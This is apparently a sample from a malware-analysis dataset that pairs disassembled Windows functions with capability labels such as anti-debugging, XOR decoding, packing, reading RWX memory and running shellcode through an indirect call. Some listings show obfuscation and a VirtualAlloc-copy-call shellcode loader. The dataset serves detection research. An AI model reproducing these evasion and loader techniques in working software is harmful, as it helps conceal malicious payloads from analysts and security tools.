joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1028a124
Capabilities:
Execute anti-debugging instructions

Disassembly:
cmc
xchg dx, cx
xchg dl, cl
xchg dx, bx
add esp, 7
xchg dx, di
jmp 0x1028a149
lea ebp, reloc.MSVCRT.dll_strncpy
xchg dword [esp + 6], esi
cpuid
std
jmp 0x1028a10a
mov al, byte [esp + 0xc]
inc ebp
mov ax, dx
mov al, byte [esp + 3]
jmp 0x1028a1d8
xchg si, dx
mov edx, dword [esp + 0xd]
lea eax, [eax*4]
cpuid
neg dh
neg ch
jmp 0x1028a133
not ecx
btc bp, sp
xchg dword [esp + 0xa], ecx
pop dword [esp]
sub esp, 0x17
jmp 0x1028a1b1
sub esp, 0
neg eax
xchg dword [esp + 5], esi
mov ah, bh
xchg word [esp + 5], cx
neg bh
jmp 0x1028a187
xchg dword [esp + 0x11], ecx
neg esi
stc
pop ebx
xchg cx, si
not al
jmp 0x1028a216
inc bp
setb bh
lea edx, [eax + ecx]
mov ch, byte [esp + 0x1e]
rdtsc
lea esp, [esp + 5]
jmp 0x1028a1f0
mov si, 0xfd8
rol ch, cl
xchg word [esp + 8], cx
not cx
mov ebx, dword [esp + 0xe]
mov byte [esp + 6], dh
jmp 0x1028a19d
rdtsc
neg al
push word [esp + 5]
add esp, 0
mov bh, dl
pop edx
jmp 0x1028a22d
setp bl
lea ecx, [eax + edi]
push dword [esp + 0x1c]
bts esi, ebx
xchg bx, bp
mov edx, 0x1853bb65
jmp 0x1028a1c0
adc si, cx
neg al
pop word [esp]
pop word [esp + 0x11]
mov bh, byte [esp + 8]
mov edi, ebx
jmp 0x1028ad9c
mov dword [esp + 0x12], edi
mov dx, 0xd2e5
call 0x1028a337
lea ecx, reloc.MSVCRT.dll_strncpy
xchg dh, ch
not al
mov edx, dword [esp + 8]
mov byte [esp + 0x13], ch
bt eax, edx
jmp 0x1028ae00
btr si, dx
std
call fcn.1028ae3c
mov byte [edx + ebx*8 - 0x43], 0x4c
cwde
jno 0x1028ae55
jae 0x1028ae51
test dword [edi + ecx], esi
xor dword [ebp - reloc.MSVCRT.dll_strncpy], ecx
les eax, [esi]
mov dword [esp], eax
rdtsc
lea esp, [esp + 0x11]
add esp, 4
mov word [esp], ax
cpuid
jmp 0x1028add3
mov dl, byte [esp + 0x14]
push dword [esp + 0x19]
mov dword [esp + 0x12], edi
pop word [esp + 2]
pop ebx
xchg word [esp + 0xe], di
jmp 0x1028ade9
mov dword [edi - 0x29], reloc.MSVCRT.dll_strncpy
clc
inc edi
xlatb
mov dl, 0x41
cmpsb byte [esi], byte es:[edi]
jg 0x1028ae50
outsb dx, byte [esi]
or eax, edi
sbb byte [ebx - 0x2b], dl
inc ebp
sub al, 0xdf
xor eax, esp
ja 0x1028aec3
or al, 0x8d
and al, 8

Function at 0x1028aa1c
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg al, ah
lea edi, [eax + 0xfa]
xchg word [esp + 7], si
add esp, 0x10
jmp 0x1028aa5a
push dx
rdtsc

Function at 0x1028abec
Capabilities:
Execute anti-debugging instructions

Disassembly:
sub esp, 5
xchg byte [esp + 6], cl
jmp 0x1028ac11
Function at 0x1029dd22
Capabilities:
Execute anti-debugging instructions

Disassembly:
call fcn.1028a164
jmp 0x1029dd7a
mov dword [esp + 0x2c], esp
pushfd
push dword [esp + 2]
mov dword [esp + 0x30], ebp
call 0x1029dd37
sbb al, 0x51
push word [esp + 6]
jmp 0x1029dd64
push dword [esp + 6]
mov word [esp + 7], cx
lea esp, [esp + 2]
jmp 0x1029ddb7
mov word [esp + 1], dx
push dword [esp + 1]
push dword [esp + 6]
pushfd
push word [esp + 0xe]
lea esp, [esp + 2]
jmp 0x1029dd24
mov dword [esp + 0x38], esi
push ax
mov word [esp], cx
pushal
mov byte [esp + 0xa], bl
lea esp, [esp + 0x19]
jmp 0x1029de06
mov eax, dword [eax + 0xc]
jmp 0x1029df78
mov byte [esp + 1], cl
lea esp, [esp + 1]
mov dword [esp + 0x3c], edi
lea esp, [esp + 0x3c]
mov eax, dword fs:[0x30]
jmp 0x1029ddee
push eax
jmp 0x1028a15f
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
jmp 0x1029de7d

Function at 0x1029dd37
Capabilities:
Execute anti-debugging instructions

Disassembly:
call fcn.1028a164
jmp 0x1029dd7a
mov dword [esp + 0x2c], esp
pushfd
push dword [esp + 2]
mov dword [esp + 0x30], ebp
call 0x1029dd37
sbb al, 0x51
push word [esp + 6]
jmp 0x1029dd64
push dword [esp + 6]
mov word [esp + 7], cx
lea esp, [esp + 2]
jmp 0x1029ddb7
mov word [esp + 1], dx
push dword [esp + 1]
push dword [esp + 6]
pushfd
push word [esp + 0xe]
lea esp, [esp + 2]
jmp 0x1029dd24
mov dword [esp + 0x38], esi
push ax
mov word [esp], cx
pushal
mov byte [esp + 0xa], bl
lea esp, [esp + 0x19]
jmp 0x1029de06
mov eax, dword [eax + 0xc]
jmp 0x1029df78
mov byte [esp + 1], cl
lea esp, [esp + 1]
mov dword [esp + 0x3c], edi
lea esp, [esp + 0x3c]
mov eax, dword fs:[0x30]
jmp 0x1029ddee
push eax
jmp 0x1028a15f
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
jmp 0x1029de7d
Function at 0x403297
Capabilities:
Get common file path

Disassembly:
push ebx
xor eax, eax
push eax
push eax
push eax
push 0x400
call fcn.00407fb0
mov dword [esp], eax
push dword [0x40e7a8]
push dword [0x40e7a8]
call fcn.0040811d
lea eax, [esp + 8]
push eax
call fcn.0040ab90
push dword [esp]
push 0
push 0x40d01e
push dword [esp + 0x10]
call sub.KERNEL32.dll_GetTempFileNameA
push dword [0x40e7a8]
push dword [0x40e7a8]
push dword [esp + 8]
call fcn.00407ec0
lea eax, [0x40e4b0]
push eax
call fcn.0040ab90
push dword [esp]
jmp loc.00412000
Function at 0x4038f7
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
add ecx, 4
mov dword [0x4040f6], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404650], eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4045e4], eax
mov dword [0x4040ee], eax
mov dword [0x4045d0], 0x30
mov dword [0x4045d4], 2
jmp 0x40393c
mov dword [0x4045d8], 0x40321a
mov dword [0x4045dc], 0
mov dword [0x4045e0], 0
mov dword [0x4045f8], 0x40454d
mov dword [0x4045f0], 0xf
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4045e8], eax
mov dword [0x4045fc], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4045ec], eax
push 0x4045d0
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x4040ee]
push 0
push 0
push 0x1e5
push 0x203
push 0xfffff98e
push 0xfffff9c0
push 0xcf0000
push str.lofegaswer_huijd
push str.lisclass
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x404648], eax
push 5
push dword [0x404648]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x404648]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x404600]
jmp 0x403a10
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x403a02
mov eax, dword [0x404608]
jmp 0x403a2b
call 0x402c21
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401840
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00402590
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00402590
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4018a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x406068]
test esi, esi
jle 0x4019c0
mov eax, dword [0x40606c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x4018d4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401957
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4018c0
mov dword [esp], ebx
call fcn.00402230
mov edi, eax
test eax, eax
je 0x4019e7
mov eax, dword [0x40606c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402340
mov edx, dword [0x40606c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x4019c7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401950
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401960
add dword [0x406068], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40606c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401950
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401840
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x4018de
mov eax, dword [0x40606c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401840
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401840
lea esi, [esi]
nop
Function at 0x401ea0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40607c]
sub esp, 4
test ebx, ebx
je 0x401ef5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x401eee
test esi, esi
je 0x401eee
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401ed0
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4025c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ecx
sub esp, 0x1c
call fcn.00401670
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0xc2
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
test eax, eax
je 0x402614
mov esi, 0x403020
mov ecx, 0xc2
mov edi, eax
rep movsb byte es:[edi], byte [esi]
call eax
lea esp, [ebp - 0xc]
pop ecx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x4052c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
mov ebx, edx
sub esp, 0x9c
mov ebp, dword [ecx + 0x28]
mov dword [esp + 0x3c], eax
mov eax, dword [ecx + 0xc]
mov dword [esp + 0x38], ecx
test ebp, ebp
mov eax, dword [eax + 8]
mov dword [esp + 0x34], eax
je 0x4053e3
lea eax, [esp + 0x48]
mov dword [esp + 0x30], eax
jmp 0x40531b
mov dword [esp], ebx
call fcn.0053dc10
mov dword [esp + 0x74], fcn.0053d550
mov esi, dword [esp + 0x30]
mov edi, ebx
mov ecx, 0x12
rep movsd dword es:[edi], dword [esi]
mov ebp, dword [ebp + 0xc]
test ebp, ebp
je 0x4053e3
mov edi, dword [esp + 0x30]
mov esi, ebx
mov ecx, 0x12
rep movsd dword es:[edi], dword [esi]
lea edx, [esp + 0x5c]
mov dword [esp + 0x10], edx
mov edx, dword [esp + 0x34]
mov dword [esp + 8], 0
mov eax, dword [ebx + 0x1c]
mov dword [esp], ebp
mov dword [esp + 4], edx
and eax, 1
mov dword [esp + 0x1c], eax
mov eax, dword [ebx + 0x14]
mov dword [esp + 0x18], eax
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x58]
mov dword [esp + 0xc], eax
call fcn.0053d4d0
cmp eax, 0
jg 0x4052f3
je 0x405303
mov edx, dword [esp + 0x34]
mov ecx, dword [edx + 0x78]
mov edx, 0x1102cd6
test ecx, ecx
je 0x405381
mov edx, dword [ecx]
mov dword [esp + 0x14], edx
mov edx, dword [ebx + 0x18]
mov dword [esp + 0x10], edx
mov edx, dword [ebp + 4]
mov edx, dword [edx]
mov dword [esp + 0x2c], eax
mov dword [esp + 8], str.Failed_to_open_bitstream_filter__s_for_stream__d_with_codec__s
mov dword [esp + 4], 0x10
mov dword [esp + 0xc], edx
mov dword [esp], 0
call fcn.00acfa00
mov eax, dword [esp + 0x2c]
mov dword [esp], 0x11021f9
mov dword [esp + 4], eax
call fcn.00412110
mov ecx, dword [0x14d5088]
test ecx, ecx
je 0x405303
mov dword [esp], 1
call fcn.00403a40
mov eax, dword [esp + 0x3c]
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.0047c720
test eax, eax
js 0x40540a
mov edx, dword [esp + 0x38]
add dword [edx + 0x14], 1
add esp, 0x9c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 4], eax
mov dword [esp], str.av_interleaved_write_frame__
call fcn.00412110
jmp 0x4053d7
Function at 0x411e00
Capabilities:
Query environment variable
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov esi, dword [esp + 0x40]
mov ebx, dword [esp + 0x44]
mov edi, dword [esp + 0x48]
mov dword [esp], str.loglevel
mov eax, esi
mov edx, ebx
mov ecx, edi
call fcn.00410540
test eax, eax
je 0x411ff7
mov eax, dword [ebx + eax*4 + 4]
test eax, eax
je 0x411e45
mov dword [esp + 4], eax
mov dword [esp], str.loglevel
call fcn.00411940
mov dword [esp], str.report
mov ecx, edi
mov edx, ebx
mov eax, esi
call fcn.00410540
test eax, eax
jne 0x411e6f
mov dword [esp], str.FFREPORT
call sub.msvcrt.dll_getenv
test eax, eax
je 0x411fef
mov dword [esp], str.report
call fcn.00411c60
mov eax, dword [0x14d51f4]
test eax, eax
je 0x411fef
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xe
mov dword [esp + 4], 1
mov dword [esp], str.Command_line:_n
call sub.msvcrt.dll_fwrite
test esi, esi
jle 0x411f21
lea edx, [esi - 1]
xor ebp, ebp
mov dword [esp + 0x1c], edx
mov edi, dword [ebx + ebp*4]
movzx eax, byte [edi]
test al, al
je 0x411ee6
mov edx, edi
lea ecx, [eax - 0x40]
cmp cl, 0x1a
jbe 0x411edc
lea ecx, [eax - 0x2b]
cmp cl, 0xf
jbe 0x411edc
cmp al, 0x5f
je 0x411edc
sub eax, 0x61
cmp al, 0x19
ja 0x411f36
add edx, 1
movzx eax, byte [edx]
test al, al
jne 0x411ec1
mov eax, dword [0x14d51f4]
mov dword [esp], edi
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputs
cmp ebp, dword [esp + 0x1c]
mov edx, 0xa
mov eax, 0x20
cmovge eax, edx
mov edx, dword [0x14d51f4]
add ebp, 1
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_fputc
cmp ebp, esi
jne 0x411eb5
mov eax, dword [0x14d51f4]
mov dword [esp + 0x40], eax
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
jmp sub.msvcrt.dll_fflush
mov eax, dword [0x14d51f4]
mov dword [esp], 0x22
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputc
movzx eax, byte [edi]
test al, al
jne 0x411f94
jmp 0x411fbe
cmp al, 0x5c
je 0x411f98
cmp al, 0x24
lea esi, [esi]
je 0x411f98
cmp al, 0x60
je 0x411f98
lea edx, [eax - 0x20]
cmp dl, 0x5e
jbe 0x411fd8
movzx eax, al
mov dword [esp + 8], eax
mov eax, dword [0x14d51f4]
mov dword [esp + 4], str.x_02x
mov dword [esp], eax
call sub.msvcrt.dll_fprintf
add edi, 1
movzx eax, byte [edi]
test al, al
je 0x411fbe
cmp al, 0x22
jne 0x411f54
movzx eax, al
add edi, 1
mov dword [esp + 8], eax
mov eax, dword [0x14d51f4]
mov dword [esp + 4], 0x11065e9
mov dword [esp], eax
call sub.msvcrt.dll_fprintf
movzx eax, byte [edi]
test al, al
jne 0x411f94
mov eax, dword [0x14d51f4]
mov dword [esp], 0x22
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputc
jmp 0x411ef7
mov edx, dword [0x14d51f4]
movzx eax, al
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_fputc
jmp 0x411f8a
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 0x11065c8
mov ecx, edi
mov edx, ebx
mov eax, esi
call fcn.00410540
test eax, eax
je 0x411e45
jmp 0x411e2d
Function at 0x412b00
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x3c
mov dword [esp + 0x38], ebp
mov ebp, dword [esp + 0x40]
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], esi
mov esi, dword [esp + 0x48]
mov dword [esp + 0x34], edi
mov edi, dword [esp + 0x44]
mov dword [esp + 4], 0x1106f92
mov dword [esp], ebp
call sub.msvcrt.dll_fopen
test eax, eax
mov ebx, eax
je 0x412c27
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov dword [esp], ebx
call sub.msvcrt.dll_ftell
mov dword [esi], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.msvcrt.dll_fseek
mov eax, dword [esi]
add eax, 1
mov dword [esp], eax
call fcn.00ad00c0
test eax, eax
mov dword [edi], eax
je 0x412c68
mov dword [esp + 0xc], ebx
mov edx, dword [esi]
mov dword [esp + 4], 1
mov dword [esp], eax
mov dword [esp + 8], edx
call sub.msvcrt.dll_fread
mov edx, dword [esi]
cmp eax, edx
mov eax, dword [edi]
jb 0x412bd0
mov byte [eax + edx], 0
xor esi, esi
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov eax, esi
mov ebx, dword [esp + 0x2c]
mov esi, dword [esp + 0x30]
mov edi, dword [esp + 0x34]
mov ebp, dword [esp + 0x38]
add esp, 0x3c
ret
mov dword [esp], eax
mov esi, 0xdfb9b0bb
call fcn.00ad0250
mov dword [esp], ebx
call sub.msvcrt.dll_ferror
test eax, eax
je 0x412bb2
mov esi, dword [sym.imp.msvcrt.dll__errno]
call esi
mov eax, dword [eax]
mov dword [esp], eax
call sub.msvcrt.dll_strerror
mov dword [esp + 0xc], ebp
mov dword [esp + 8], str.Error_while_reading_file__s:__s_n
mov dword [esp + 4], 0x10
mov dword [esp], 0
mov dword [esp + 0x10], eax
call fcn.00acfa00
call esi
mov esi, dword [eax]
neg esi
jmp 0x412bb2
mov ebx, dword [sym.imp.msvcrt.dll__errno]
call ebx
mov eax, dword [eax]
mov dword [esp], eax
call sub.msvcrt.dll_strerror
mov dword [esp + 0xc], ebp
mov dword [esp + 8], 0x1106f95
mov dword [esp + 4], 0x10
mov dword [esp], 0
mov dword [esp + 0x10], eax
call fcn.00acfa00
call ebx
mov esi, dword [eax]
neg esi
jmp 0x412bba
mov dword [esp + 8], str.Could_not_allocate_file_buffer_n
mov esi, 0xfffffff4
mov dword [esp + 4], 0x10
mov dword [esp], 0
call fcn.00acfa00
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
jmp 0x412bba
Function at 0x41e0e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x5c
mov ebp, dword [esp + 0x70]
mov edi, dword [esp + 0x78]
mov esi, dword [ebp + 0x6c]
test esi, esi
je 0x41e275
mov ecx, dword [ebp + 0x3c]
xor eax, eax
mov dword [esp + 0x2c], ebp
jmp 0x41e111
add eax, 1
cmp eax, 0x20
je 0x41e1c5
mov ebx, dword [esi + eax*4]
test ebx, ebx
je 0x41e105
mov edx, dword [ebx]
cmp dword [edx + 0x4c], ecx
jne 0x41e105
cmp dword [edx + 0x50], edi
jne 0x41e105
mov ebp, dword [esp + 0x7c]
cmp dword [edx + 0x54], ebp
jne 0x41e105
mov dword [esi + eax*4], 0
mov eax, dword [ebx + 0x60]
sub dword [esi + 0x80], 1
mov dword [eax], edi
mov dword [eax + 4], ebp
mov eax, dword [esp + 0x74]
mov dword [ebx + 0x44], ecx
or eax, 1
mov dword [ebx + 0x58], eax
mov ecx, dword [edx]
mov dword [edx + 0x40], 1
mov dword [ebx + 4], ecx
mov ecx, dword [edx + 4]
mov dword [ebx + 8], ecx
mov ecx, dword [edx + 8]
mov dword [ebx + 0xc], ecx
mov ecx, dword [edx + 0xc]
mov dword [ebx + 0x10], ecx
mov ecx, dword [edx + 0x10]
mov dword [ebx + 0x14], ecx
mov ecx, dword [edx + 0x14]
mov dword [ebx + 0x18], ecx
mov ecx, dword [edx + 0x18]
mov dword [ebx + 0x1c], ecx
mov ecx, dword [edx + 0x1c]
mov dword [ebx + 0x20], ecx
lea ecx, [edx + 0x20]
mov edx, dword [edx + 0x20]
mov dword [ebx + 0x24], edx
mov edx, dword [ecx + 4]
mov dword [ebx + 0x28], edx
mov edx, dword [ecx + 8]
mov dword [ebx + 0x2c], edx
mov edx, dword [ecx + 0xc]
mov dword [ebx + 0x30], edx
mov edx, dword [ecx + 0x10]
mov dword [ebx + 0x34], edx
mov edx, dword [ecx + 0x14]
mov dword [ebx + 0x38], edx
mov edx, dword [ecx + 0x18]
mov dword [ebx + 0x3c], edx
mov edx, dword [ecx + 0x1c]
mov dword [ebx + 0x40], edx
add dword [esi + 0x84], 1
jmp 0x41e26b
mov ebp, dword [esp + 0x2c]
mov eax, dword [esp + 0x7c]
lea edx, [esp + 0x30]
xor ebx, ebx
mov dword [esp + 0x10], ecx
lea ecx, [esp + 0x40]
mov dword [esp + 4], edx
mov dword [esp], ecx
mov dword [esp + 0x28], edx
mov dword [esp + 0x24], ecx
mov dword [esp + 0x14], 0x20
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
call fcn.00ad0da0
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
test eax, eax
mov dword [esp + 0x2c], eax
js 0x41e26b
mov eax, dword [ebp + 0x3c]
mov ebp, dword [esp + 0x7c]
mov dword [esp + 0xc], edi
mov edi, dword [esp + 0x74]
mov dword [esp + 4], edx
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ebp
mov dword [esp + 8], edi
mov dword [esp], ecx
call fcn.00419540
test eax, eax
mov ebx, eax
je 0x41e298
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], pe_nt_image_headers32
mov dword [esp + 8], eax
mov eax, dword [esp + 0x40]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebx]
mov dword [eax + 0x44], esi
mov dword [eax + 0x48], 0
add dword [esi + 0x84], 1
add esp, 0x5c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 0x8c
call fcn.00ad02a0
mov ecx, dword [ebp + 0x3c]
mov dword [ebp + 0x6c], eax
mov esi, eax
mov dword [eax + 0x84], 1
jmp 0x41e1c9
mov eax, dword [esp + 0x40]
mov dword [esp], eax
call fcn.00ad0250
jmp 0x41e26b
Function at 0x45e820
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x13c
mov dword [esp + 0x138], edi
lea edi, [eax + 4]
mov dword [esp + 0x130], ebx
mov ebx, eax
mov dword [esp + 0x134], esi
mov dword [esp + 4], 0x111503b
mov dword [esp], edi
call sub.msvcrt.dll_fopen
test eax, eax
mov esi, eax
je 0x45e8e0
mov eax, dword [ebx + 0x80]
mov dword [esp + 0x10], eax
mov eax, dword [ebx + 0x7c]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebx + 0x90]
mov dword [esp + 8], eax
mov eax, dword [ebx + 0x8c]
mov dword [esp + 4], eax
mov eax, dword [ebx + 0x88]
mov dword [esp], eax
call fcn.00537410
test eax, eax
jle 0x45e8b7
mov dword [esp + 4], eax
mov eax, dword [ebx + 0x8c]
mov dword [esp + 0xc], esi
mov dword [esp + 8], 1
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
mov dword [esp], esi
call sub.msvcrt.dll_fclose
mov ebx, dword [esp + 0x130]
mov esi, dword [esp + 0x134]
mov edi, dword [esp + 0x138]
add esp, 0x13c
ret
mov dword [esp + 0xc], edi
mov dword [esp + 8], str._nPNG_Error_opening__s_for_writing__n
mov dword [esp + 4], 1
mov dword [esp], 0x1d
call fcn.0042f350
jmp 0x45e8bf
Function at 0x47d410
Capabilities:
Write file on windows

Disassembly:
sub esp, 0xc
mov dword [esp + 4], esi
mov esi, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
mov dword [esp], ebx
mov ebx, dword [esp + 0x1c]
mov dword [esp + 8], edi
mov eax, dword [esp + 0x10]
mov edi, dword [esi + 0x3c]
mov esi, dword [esi + 0x38]
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x10], edx
xor edx, edx
mov dword [esp + 0x1c], edi
mov edi, dword [esp + 8]
mov dword [esp + 0x18], esi
mov esi, dword [esp + 4]
mov dword [esp + 0x14], ebx
mov ebx, dword [esp]
add esp, 0xc
jmp fcn.00471860

Function at 0x4823e0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x1ac
mov eax, dword [0x14da884]
test eax, eax
je 0x482416
lea eax, [esp + 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
sub esp, 8
test eax, eax
sete al
add esp, 0x1ac
movzx eax, al
ret
mov dword [esp + 8], str.Using_network_protocols_without_global_network_initialization._Please_use_avformat_network_init____this_will_become_mandatory_later._n
mov dword [esp + 4], 0x18
mov dword [esp], 0
call fcn.00acfa00
jmp 0x4823ef